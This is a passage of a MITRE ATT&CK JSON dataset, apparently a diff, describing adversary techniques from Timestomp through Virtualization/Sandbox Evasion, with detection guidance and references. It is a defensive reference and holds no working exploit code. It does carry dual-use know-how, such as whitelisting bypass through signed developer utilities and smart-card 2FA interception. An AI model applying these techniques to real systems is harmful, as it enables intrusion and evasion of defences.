"attack-pattern--128c55d3-aeba-469f-bd3e-c8996ab4112a", + "name": "Timestomp", + "created": "2017-05-31T21:31:12.675Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "description": "Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools. Timestomping may be used along with file name [Masquerading](https://attack.mitre.org/techniques/T1036) to hide malware and tools. (Citation: WindowsIR Anti-Forensic Techniques)", + "x_mitre_defense_bypassed": [ + "Host forensic analysis" + ] + }, + { + "external_references": [ + { + "external_id": "T1493", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1493" + }, + { + "url": "https://content.fireeye.com/apt/rpt-apt38", + "source_name": "FireEye APT38 Oct 2018", + "description": "FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 6, 2018." + }, + { + "url": "https://www.justice.gov/opa/press-release/file/1092091/download", + "source_name": "DOJ Lazarus Sony 2018", + "description": "Department of Justice. (2018, September 6). Criminal Complaint - United States of America v. PARK JIN HYOK. Retrieved March 29, 2019." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_data_sources": [ + "Packet capture", + "Network protocol analysis" + ], + "modified": "2019-04-26T18:49:11.705Z", + "x_mitre_detection": "Detecting the manipulation of data as at passes over a network can be difficult without the appropriate tools. In some cases integrity verification checks, such as file hashing, may be used on critical files as they transit a network. With some critical processes involving transmission of data, manual or out-of-band integrity checking may be useful for identifying manipulated data.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "kill_chain_phases": [ + { + "phase_name": "impact", + "kill_chain_name": "mitre-attack" + } + ], + "x_mitre_impact_type": [ + "Integrity" + ], + "id": "attack-pattern--cc1e737c-236c-4e3b-83ba-32039a626ef8", + "name": "Transmitted Data Manipulation", + "created": "2019-04-09T16:08:20.824Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "description": "Adversaries may alter data en route to storage or other systems in order to manipulate external outcomes or hide activity.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating transmitted data, adversaries may attempt to affect a business process, organizational understanding, and decision making. \n\nManipulation may be possible over a network connection or between system processes where there is an opportunity deploy a tool that will intercept and change information. The type of modification and the impact it will have depends on the target transmission mechanism as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.", + "x_mitre_permissions_required": [ + "User", + "Administrator", + "root", + "SYSTEM" + ] + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1154", + "source_name": "mitre-attack", + "external_id": "T1154" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_data_sources": [ + "File monitoring", + "Process monitoring", + "Process command-line parameters" + ], + "modified": "2018-10-31T13:45:13.024Z", + "x_mitre_detection": "Trap commands must be registered for the shell or programs, so they appear in files. Monitoring files for suspicious or overly broad trap commands can narrow down suspicious behavior during an investigation. Monitor for suspicious processes executed through trap interrupts.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS" + ], + "kill_chain_phases": [ + { + "phase_name": "execution", + "kill_chain_name": "mitre-attack" + }, + { + "phase_name": "persistence", + "kill_chain_name": "mitre-attack" + } + ], + "id": "attack-pattern--b53dbcc6-147d-48bb-9df4-bcb8bb808ff6", + "name": "Trap", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_version": "1.0", + "x_mitre_remote_support": false, + "type": "attack-pattern", + "description": "The trap command allows programs and shells to specify commands that will be executed upon receiving interrupt signals. A common situation is a script allowing for graceful termination and handling of common keyboard interrupts like ctrl+c and ctrl+d. Adversaries can use this to register code to be executed when the shell encounters specific interrupts either to gain execution or as a persistence mechanism. Trap commands are of the following format trap 'command list' signals where \"command list\" will be executed when \"signals\" are received.", + "x_mitre_permissions_required": [ + "User", + "Administrator" + ] + }, + { + "external_references": [ + { + "external_id": "T1127", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1127" + }, + { + "url": "https://msdn.microsoft.com/library/dd393574.aspx", + "source_name": "MSDN MSBuild", + "description": "Microsoft. (n.d.). MSBuild1. Retrieved November 30, 2016." + }, + { + "url": "https://docs.microsoft.com/en-us/dotnet/core/migration/from-dnx", + "source_name": "Microsoft Migrating from DNX", + "description": "Knezevic, Z., Wenzel, M. Latham, L. (2016, June 20). Migrating from DNX to .NET Core CLI (project.json). Retrieved June 28, 2017." + }, + { + "url": "https://enigma0x3.net/2016/11/17/bypassing-application-whitelisting-by-using-dnx-exe/", + "source_name": "engima0x3 DNX Bypass", + "description": "Nelson, M. (2017, November 17). Bypassing Application Whitelisting By Using dnx.exe. Retrieved May 25, 2017." + }, + { + "url": "https://blogs.msdn.microsoft.com/visualstudio/2011/10/19/introducing-the-microsoft-roslyn-ctp/", + "source_name": "Microsoft Roslyn CPT RCSI", + "description": "Osenkov, K. (2011, October 19). Introducing the Microsoft \u201cRoslyn\u201d CTP. Retrieved June 28, 2017." + }, + { + "url": "https://enigma0x3.net/2016/11/21/bypassing-application-whitelisting-by-using-rcsi-exe/", + "source_name": "engima0x3 RCSI Bypass", + "description": "Nelson, M. (2016, November 21). Bypassing Application Whitelisting By Using rcsi.exe. Retrieved May 26, 2017." + }, + { + "url": "https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/index", + "source_name": "Microsoft Debugging Tools for Windows", + "description": "Marshall, D. (2017, May 23). Debugging Tools for Windows (WinDbg, KD, CDB, NTSD). Retrieved June 29, 2017." + }, + { + "url": "http://www.exploit-monday.com/2016/08/windbg-cdb-shellcode-runner.html", + "source_name": "Exploit Monday WinDbg", + "description": "Graeber, M. (2016, August 15). Bypassing Application Whitelisting by using WinDbg/CDB as a Shellcode Runner. Retrieved May 26, 2017." + }, + { + "source_name": "SubTee GitHub All The Things Application Whitelisting Bypass", + "description": "Smith, C. (2016, August 17). Includes 5 Known Application Whitelisting/ Application Control Bypass Techniques in One File. Retrieved June 30, 2017." + }, + { + "url": "https://docs.microsoft.com/visualstudio/msbuild/file-tracking", + "source_name": "Microsoft Docs File Tracking", + "description": "B, M., Brown, K., Cai, S., Hogenson, G., Warren, G. (2016, November 4). File Tracking. Retrieved November 1, 2017." + }, + { + "url": "https://twitter.com/subTee/status/793151392185589760", + "source_name": "Twitter SubTee Tracker.exe", + "description": "Smith, C. (2016, October 31). SubTee Twitter Status. Retrieved November 1, 2017." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "x_mitre_contributors": [ + "Casey Smith", + "Matthew Demaske, Adaptforward" + ], + "x_mitre_data_sources": [ + "Process monitoring" + ], + "modified": "2019-02-05T23:13:50.663Z", + "x_mitre_detection": "The presence of these or other utilities that enable proxy execution that are typically used for development, debugging, and reverse engineering on a system that is not used for these purposes may be suspicious.\n\nUse process monitoring to monitor the execution and arguments of MSBuild.exe, dnx.exe, rcsi.exe, WinDbg.exe, cdb.exe, and tracker.exe. Compare recent invocations of those binaries with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. It is likely that these utilities will be used by software developers or for other software development related tasks, so if it exists and is used outside of that context, then the event may be suspicious. Command arguments used before and after invocation of the utilities may also be useful in determining the origin and purpose of the binary being executed.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "kill_chain_phases": [ + { + "phase_name": "defense-evasion", + "kill_chain_name": "mitre-attack" + }, + { + "phase_name": "execution", + "kill_chain_name": "mitre-attack" + } + ], + "x_mitre_defense_bypassed": [ + "Application whitelisting" + ], + "id": "attack-pattern--ff25900d-76d5-449b-a351-8824e62fc81b", + "name": "Trusted Developer Utilities", + "created": "2017-05-31T21:31:39.262Z", + "x_mitre_version": "1.0", + "x_mitre_remote_support": false, + "x_mitre_system_requirements": [ + "MSBuild: .NET Framework version 4 or higher\nDNX: .NET 4.5.2, Powershell 4.0\nRCSI: .NET 4.5 or later, Visual Studio 2012" + ], + "description": "There are many utilities used for software development related tasks that can be used to execute code in various forms to assist in development, debugging, and reverse engineering. These utilities may often be signed with legitimate certificates that allow them to execute on a system and proxy execution of malicious code through a trusted process that effectively bypasses application whitelisting defensive solutions.\n\n### MSBuild\n\nMSBuild.exe (Microsoft Build Engine) is a software build platform used by Visual Studio. It takes XML formatted project files that define requirements for building various platforms and configurations. (Citation: MSDN MSBuild) \n\nAdversaries can use MSBuild to proxy execution of code through a trusted Windows utility. The inline task capability of MSBuild that was introduced in .NET version 4 allows for C# code to be inserted into the XML project file. (Citation: MSDN MSBuild) Inline Tasks MSBuild will compile and execute the inline task. MSBuild.exe is a signed Microsoft binary, so when it is used this way it can execute arbitrary code and bypass application whitelisting defenses that are configured to allow MSBuild.exe execution. (Citation: SubTee GitHub All The Things Application Whitelisting Bypass)\n\n### DNX\n\nThe .NET Execution Environment (DNX), dnx.exe, is a software development kit packaged with Visual Studio Enterprise. It was retired in favor of .NET Core CLI in 2016. (Citation: Microsoft Migrating from DNX) DNX is not present on standard builds of Windows and may only be present on developer workstations using older versions of .NET Core and ASP.NET Core 1.0. The dnx.exe executable is signed by Microsoft. \n\nAn adversary can use dnx.exe to proxy execution of arbitrary code to bypass application whitelist policies that do not account for DNX. (Citation: engima0x3 DNX Bypass)\n\n### RCSI\n\nThe rcsi.exe utility is a non-interactive command-line interface for C# that is similar to csi.exe. It was provided within an early version of the Roslyn .NET Compiler Platform but has since been deprecated for an integrated solution. (Citation: Microsoft Roslyn CPT RCSI) The rcsi.exe binary is signed by Microsoft. (Citation: engima0x3 RCSI Bypass)\n\nC# .csx script files can be written and executed with rcsi.exe at the command-line. An adversary can use rcsi.exe to proxy execution of arbitrary code to bypass application whitelisting policies that do not account for execution of rcsi.exe. (Citation: engima0x3 RCSI Bypass)\n\n### WinDbg/CDB\n\nWinDbg is a Microsoft Windows kernel and user-mode debugging utility. The Microsoft Console Debugger (CDB) cdb.exe is also user-mode debugger. Both utilities are included in Windows software development kits and can be used as standalone tools. (Citation: Microsoft Debugging Tools for Windows) They are commonly used in software development and reverse engineering and may not be found on typical Windows systems. Both WinDbg.exe and cdb.exe binaries are signed by Microsoft.\n\nAn adversary can use WinDbg.exe and cdb.exe to proxy execution of arbitrary code to bypass application whitelist policies that do not account for execution of those utilities. (Citation: Exploit Monday WinDbg)\n\nIt is likely possible to use other debuggers for similar purposes, such as the kernel-mode debugger kd.exe, which is also signed by Microsoft.\n\n### Tracker\n\nThe file tracker utility, tracker.exe, is included with the .NET framework as part of MSBuild. It is used for logging calls to the Windows file system. (Citation: Microsoft Docs File Tracking)\n\nAn adversary can use tracker.exe to proxy execution of an arbitrary DLL into another process. Since tracker.exe is also signed it can be used to bypass application whitelisting solutions. (Citation: Twitter SubTee Tracker.exe)", + "x_mitre_permissions_required": [ + "User" + ] + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1199", + "source_name": "mitre-attack", + "external_id": "T1199" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_data_sources": [ + "Application logs", + "Authentication logs", + "Third-party application logs" + ], + "modified": "2018-10-31T13:45:13.024Z", + "x_mitre_detection": "Establish monitoring for activity conducted by second and third party providers and other trusted entities that may be leveraged as a means to gain access to the network. Depending on the type of relationship, an adversary may have access to significant amounts of information about the target before conducting an operation, especially if the trusted relationship is based on IT services. Adversaries may be able to act quickly towards an objective, so proper monitoring for behavior related to Credential Access, Lateral Movement, and Collection will be important to detect the intrusion.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "Windows", + "macOS" + ], + "kill_chain_phases": [ + { + "phase_name": "initial-access", + "kill_chain_name": "mitre-attack" + } + ], + "id": "attack-pattern--9fa07bef-9c81-421e-a8e5-ad4366c5a925", + "name": "Trusted Relationship", + "created": "2018-04-18T17:59:24.739Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "description": "Adversaries may breach or otherwise leverage organizations who have access to intended victims. Access through trusted third party relationship exploits an existing connection that may not be protected or receives less scrutiny than standard mechanisms of gaining access to a network.\n\nOrganizations often grant elevated access to second or third-party external providers in order to allow them to manage internal systems. Some examples of these relationships include IT services contractors, managed security providers, infrastructure contractors (e.g. HVAC, elevators, physical security). The third-party provider's access may be intended to be limited to the infrastructure being maintained, but may exist on the same network as the rest of the enterprise. As such, [Valid Accounts](https://attack.mitre.org/techniques/T1078) used by the other party for access to internal network systems may be compromised and used." + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1111", + "source_name": "mitre-attack", + "external_id": "T1111" + }, + { + "url": "https://dl.mandiant.com/EE/assets/PDF_MTrends_2011.pdf", + "source_name": "Mandiant M Trends 2011", + "description": "Mandiant. (2011, January 27). Mandiant M-Trends 2011. Retrieved January 10, 2016." + }, + { + "url": "http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp-finding-holes-operation-emmental.pdf", + "source_name": "Operation Emmental", + "description": "Sancho, D., Hacquebord, F., Link, R. (2014, July 22). Finding Holes Operation Emmental. Retrieved February 9, 2016." + }, + { + "url": "https://gcn.com/articles/2011/06/07/rsa-confirms-tokens-used-to-hack-lockheed.aspx", + "source_name": "GCN RSA June 2011", + "description": "Jackson, William. (2011, June 7). RSA confirms its tokens used in Lockheed hack. Retrieved September 24, 2018." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_contributors": [ + "John Lambert, Microsoft Threat Intelligence Center" + ], + "x_mitre_permissions_required": [ + "Administrator", + "SYSTEM" + ], + "x_mitre_data_sources": [ + "API monitoring", + "Process monitoring", + "Kernel drivers" + ], + "modified": "2018-10-31T13:45:13.024Z", + "x_mitre_detection": "Detecting use of proxied smart card connections by an adversary may be difficult because it requires the token to be inserted into a system; thus it is more likely to be in use by a legitimate user and blend in with other network behavior.\n\nSimilar to [Input Capture](https://attack.mitre.org/techniques/T1056), keylogging activity can take various forms but can may be detected via installation of a driver, setting a hook, or usage of particular API calls associated with polling to intercept keystrokes.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "Windows", + "macOS" + ], + "kill_chain_phases": [ + { + "phase_name": "credential-access", + "kill_chain_name": "mitre-attack" + } + ], + "id": "attack-pattern--dd43c543-bb85-4a6f-aa6e-160d90d06a49", + "name": "Two-Factor Authentication Interception", + "created": "2017-05-31T21:31:23.195Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "description": "Use of two- or multifactor authentication is recommended and provides a higher level of security than user names and passwords alone, but organizations should be aware of techniques that could be used to intercept and bypass these security mechanisms. Adversaries may target authentication mechanisms, such as smart cards, to gain access to systems, services, and network resources.\n\nIf a smart card is used for two-factor authentication (2FA), then a keylogger will need to be used to obtain the password associated with a smart card during normal use. With both an inserted card and access to the smart card password, an adversary can connect to a network resource using the infected system to proxy the authentication with the inserted hardware token. (Citation: Mandiant M Trends 2011)\n\nAdversaries may also employ a keylogger to similarly target other hardware tokens, such as RSA SecurID. Capturing token input (including a user's personal identification code) may provide temporary access (i.e. replay the one-time passcode until the next value rollover) as well as possibly enabling adversaries to reliably predict future authentication values (given access to both the algorithm and any seed values used to generate appended temporary codes). (Citation: GCN RSA June 2011)\n\nOther methods of 2FA may be intercepted and used by an adversary to authenticate. It is common for one-time codes to be sent via out-of-band communications (email, SMS). If the device and/or service is not secured, then it may be vulnerable to interception. Although primarily focused on by cyber criminals, these authentication mechanisms have been targeted by advanced actors. (Citation: Operation Emmental)", + "x_mitre_system_requirements": [ + "Smart card Proxy: Use of smart cards for single or multifactor authentication to access to network resources. Attached smart card reader with card inserted.\n\nOut-of-band one-time code: Access to the device, service, or communications to intercept the one-time code.\n\nHardware token: Access to the seed and algorithm of generating one-time codes." + ] + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1065", + "source_name": "mitre-attack", + "external_id": "T1065" + }, + { + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf", + "source_name": "University of Birmingham C2", + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_detection": "Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)", + "x_mitre_data_sources": [ + "Netflow/Enclave netflow", + "Process use of network", + "Process monitoring" + ], + "modified": "2018-10-17T00:14:20.652Z", + "x_mitre_network_requirements": true, + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "kill_chain_phases": [ + { + "phase_name": "command-and-control", + "kill_chain_name": "mitre-attack" + } + ], + "id": "attack-pattern--c848fcf7-6b62-4bde-8216-b6c157d48da0", + "name": "Uncommonly Used Port", + "created": "2017-05-31T21:30:53.408Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "description": "Adversaries may conduct C2 communications over a non-standard port to bypass proxies and firewalls that have been improperly configured." + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1204", + "source_name": "mitre-attack", + "external_id": "T1204" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_data_sources": [ + "Anti-virus", + "Process command-line parameters", + "Process monitoring" + ], + "modified": "2018-10-17T00:14:20.652Z", + "x_mitre_detection": "Monitor the execution of and command-line arguments for applications that may be used by an adversary to gain Initial Access that require user interaction. This includes compression applications, such as those for zip files, that can be used to [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140) in payloads.\n\nAnti-virus can potentially detect malicious documents and files that are downloaded and execuited on the user's computer. Endpoint sensing or network sensing can potentially detect malicious events once the file is opened (such as a Microsoft Word document or PDF reaching out to the internet or spawning Powershell.exe) for techniques such as [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203) and [Scripting](https://attack.mitre.org/techniques/T1064).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "Windows", + "macOS" + ], + "kill_chain_phases": [ + { + "phase_name": "execution", + "kill_chain_name": "mitre-attack" + } + ], + "id": "attack-pattern--8c32eb4d-805f-4fc5-bf60-c4d476c131b5", + "name": "User Execution", + "created": "2018-04-18T17:59:24.739Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "description": "An adversary may rely upon specific actions by a user in order to gain execution. This may be direct code execution, such as when a user opens a malicious executable delivered via [Spearphishing Attachment](https://attack.mitre.org/techniques/T1193) with the icon and apparent extension of a document file. It also may lead to other execution techniques, such as when a user clicks on a link delivered via [Spearphishing Link](https://attack.mitre.org/techniques/T1192) that leads to exploitation of a browser or application vulnerability via [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203). While User Execution frequently occurs shortly after Initial Access it may occur at other phases of an intrusion, such as when an adversary places a file in a shared directory or on a user's desktop hoping that a user will click on it.", + "x_mitre_permissions_required": [ + "User" + ] + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1078", + "source_name": "mitre-attack", + "external_id": "T1078" + }, + { + "external_id": "CAPEC-560", + "source_name": "capec", + "url": "https://capec.mitre.org/data/definitions/560.html" + }, + { + "url": "https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/local-accounts", + "source_name": "Microsoft Local Accounts Feb 2019", + "description": "Microsoft. (2018, December 9). Local Accounts. Retrieved February 11, 2019." + }, + { + "url": "https://github.com/rapid7/metasploit-framework/tree/master/modules/exploits/linux/ssh", + "source_name": "Metasploit SSH Module", + "description": "undefined. (n.d.). Retrieved April 12, 2019." + }, + { + "url": "https://technet.microsoft.com/en-us/library/dn535501.aspx", + "source_name": "TechNet Credential Theft", + "description": "Microsoft. (2016, April 15). Attractive Accounts for Credential Theft. Retrieved June 3, 2016." + }, + { + "url": "https://technet.microsoft.com/en-us/library/dn487457.aspx", + "source_name": "TechNet Audit Policy", + "description": "Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved June 3, 2016." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "x_mitre_contributors": [ + "Mark Wee", + "Praetorian" + ], + "x_mitre_data_sources": [ + "Authentication logs", + "Process monitoring" + ], + "modified": "2019-04-16T20:36:46.182Z", + "x_mitre_detection": "Configure robust, consistent account activity audit policies across the enterprise and with externally accessible services. (Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access).\n\nPerform regular audits of domain and local system accounts to detect accounts that may have been created by an adversary for persistence. Checks on these accounts could also include whether default accounts such as Guest have been activated. These audits should also include checks on any appliances and applications for default credentials or SSH keys, and if any are discovered, they should be updated immediately. ", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "kill_chain_phases": [ + { + "phase_name": "defense-evasion", + "kill_chain_name": "mitre-attack" + }, + { + "phase_name": "persistence", + "kill_chain_name": "mitre-attack" + }, + { + "phase_name": "privilege-escalation", + "kill_chain_name": "mitre-attack" + }, + { + "phase_name": "initial-access", + "kill_chain_name": "mitre-attack" + } + ], + "id": "attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81", + "name": "Valid Accounts", + "created": "2017-05-31T21:31:00.645Z", + "x_mitre_version": "1.1", + "x_mitre_defense_bypassed": [ + "Firewall", + "Host intrusion prevention systems", + "Network intrusion detection system", + "Process whitelisting", + "System access controls", + "Anti-virus" + ], + "description": "Adversaries may steal the credentials of a specific user or service account using Credential Access techniques or capture credentials earlier in their reconnaissance process through social engineering for means of gaining Initial Access. \n\nAccounts that an adversary may use can fall into three categories: default, local, and domain accounts. Default accounts are those that are built-into an OS such as Guest or Administrator account on Windows systems or default factory/provider set accounts on other types of systems, software, or devices. Local accounts are those configured by an organization for use by users, remote support, services, or for administration on a single system or service. (Citation: Microsoft Local Accounts Feb 2019) Domain accounts are those managed by Active Directory Domain Services where access and permissions are configured across systems and services that are part of that domain. Domain accounts can cover users, administrators, and services.\n\nCompromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access and remote desktop. Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.\n\nDefault accounts are also not limited to Guest and Administrator on client machines, they also include accounts that are preset for equipment such as network devices and computer applications whether they are internal, open source, or COTS. Appliances that come preset with a username and password combination pose a serious threat to organizations that do not change it post installation, as they are easy targets for an adversary. Similarly, adversaries may also utilize publicly disclosed private keys, or stolen private keys, to legitimately connect to remote environments via [Remote Services](https://attack.mitre.org/techniques/T1021) (Citation: Metasploit SSH Module)\n\nThe overlap of account access, credentials, and permissions across a network of systems is of concern because the adversary may be able to pivot across accounts and systems to reach a high level of access (i.e., domain or enterprise administrator) to bypass access controls set within the enterprise. (Citation: TechNet Credential Theft)", + "x_mitre_effective_permissions": [ + "User", + "Administrator" + ], + "x_mitre_permissions_required": [ + "User", + "Administrator" + ] + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1125", + "source_name": "mitre-attack", + "external_id": "T1125" + }, + { + "url": "https://objective-see.com/blog/blog_0x25.html", + "source_name": "objective-see 2017 review", + "description": "Patrick Wardle. (n.d.). Retrieved March 20, 2018." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_contributors": [ + "Praetorian" + ], + "x_mitre_data_sources": [ + "Process monitoring", + "File monitoring", + "API monitoring" + ], + "modified": "2018-10-17T00:14:20.652Z", + "x_mitre_detection": "Detection of this technique may be difficult due to the various APIs that may be used. Telemetry data regarding API use may not be useful depending on how a system is normally used, but may provide context to other potentially malicious activity occurring on a system.\n\nBehavior that could indicate technique use include an unknown or unusual process accessing APIs associated with devices or software that interact with the video camera, recording devices, or recording software, and a process periodically writing files to disk that contain video or camera image data.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows", + "macOS" + ], + "kill_chain_phases": [ + { + "phase_name": "collection", + "kill_chain_name": "mitre-attack" + } + ], + "id": "attack-pattern--6faf650d-bf31-4eb4-802d-1000cf38efaf", + "name": "Video Capture", + "created": "2017-05-31T21:31:37.917Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "description": "An adversary can leverage a computer's peripheral devices (e.g., integrated cameras or webcams) or applications (e.g., video call services) to capture video recordings for the purpose of gathering information. Images may also be captured from devices or applications, potentially in specified intervals, in lieu of video files.\n\nMalware or scripts may be used to interact with the devices through an available API provided by the operating system or an application to capture video or images. Video or image files may be written to disk and exfiltrated later. This technique differs from [Screen Capture](https://attack.mitre.org/techniques/T1113) due to use of specific devices or applications for video recording rather than capturing the victim's screen.\n\nIn macOS, there are a few different malware samples that record the user's webcam such as FruitFly and Proton. (Citation: objective-see 2017 review)", + "x_mitre_permissions_required": [ + "User" + ] + }, + { + "external_references": [ + { + "external_id": "T1497", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1497" + }, + { + "url": "https://unit42.paloaltonetworks.com/ups-observations-on-cve-2015-3113-prior-zero-days-and-the-pirpi-payload/", + "source_name": "Unit 42 Pirpi July 2015", + "description": "Falcone, R., Wartell, R.. (2015, July 27). UPS: Observations on CVE-2015-3113, Prior Zero-Days and the Pirpi Payload. Retrieved April 23, 2019." + }, + { + "url": "https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/stopping-malware-fake-virtual-machine/", + "source_name": "McAfee Virtual Jan 2017", + "description": "Roccia, T. (2017, January 19). Stopping Malware With a Fake Virtual Machine. Retrieved April 17, 2019." + }, + { + "url": "https://www.sans.org/reading-room/whitepapers/forensics/detecting-malware-sandbox-evasion-techniques-36667", + "source_name": "Sans Virtual Jan 2016", + "description": "Keragala, D. (2016, January 16). Detecting Malware and Sandbox Evasion Techniques. Retrieved April 17, 2019." + }, + { + "url": "https://unit42.paloaltonetworks.com/unit42-sofacy-continues-global-attacks-wheels-new-cannon-trojan/", + "source_name": "Unit 42 Sofacy Nov 2018", + "description": "Falcone, R., Lee, B.. (2018, November 20). Sofacy Continues Global Attacks and Wheels Out New \u2018Cannon\u2019 Trojan. Retrieved April 23, 2019." + }, + { + "url": "https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html", + "source_name": "FireEye FIN7 April 2017", + "description": "Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing LNK. Retrieved April 24, 2017." + }, + { + "url": "https://researchcenter.paloaltonetworks.com/2018/09/unit42-oilrig-targets-middle-eastern-government-adds-evasion-techniques-oopsie/", + "source_name": "Unit 42 OilRig Sept 2018", + "description": "Falcone, R., et al. (2018, September 04). OilRig Targets a Middle Eastern Government and Adds Evasion Techniques to OopsIE. Retrieved September 24, 2018." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_contributors": [ + "Sunny Neo" + ], + "x_mitre_data_sources": [ + "Process monitoring", + "Process command-line parameters" + ], + "modified": "2019-06-10T17:37:37.138Z", + "x_mitre_detection": "Virtualization, sandbox, and related discovery techniques will likely occur in the first steps of an operation but may also occur throughout as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained. Detecting actions related to virtualization and sandbox identification may be difficult depending on the adversary's implementation and monitoring required. Monitoring for suspicious processes being spawned that gather a variety of system information or perform other forms of [Discovery](https://attack.mitre.org/tactics/TA0007), especially in a short period of time, may aid in detection.\n", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "kill_chain_phases": [ + { + "phase_name": "defense-evasion", + "kill_chain_name": "mitre-attack" + }, + { + "phase_name": "discovery", + "kill_chain_name": "mitre-attack" + } + ], + "id": "attack-pattern--82caa33e-d11a-433a-94ea-9b5a5fbef81d", + "name": "Virtualization/Sandbox Evasion", + "created": "2019-04-17T22:22:24.505Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "description": "Adversaries may check for the presence of a virtual machine environment (VME) or sandbox to avoid potential detection of tools and activities. If the adversary detects a VME, they may alter their malware to conceal the core functions of the implant or disengage from the victim. They may also search for VME artifacts before dropping secondary or additional payloads. \n\nAdversaries may use several methods including [Security Software Discovery](https://attack.mitre.org/techniques/T1063) to accomplish [Virtualization/Sandbox 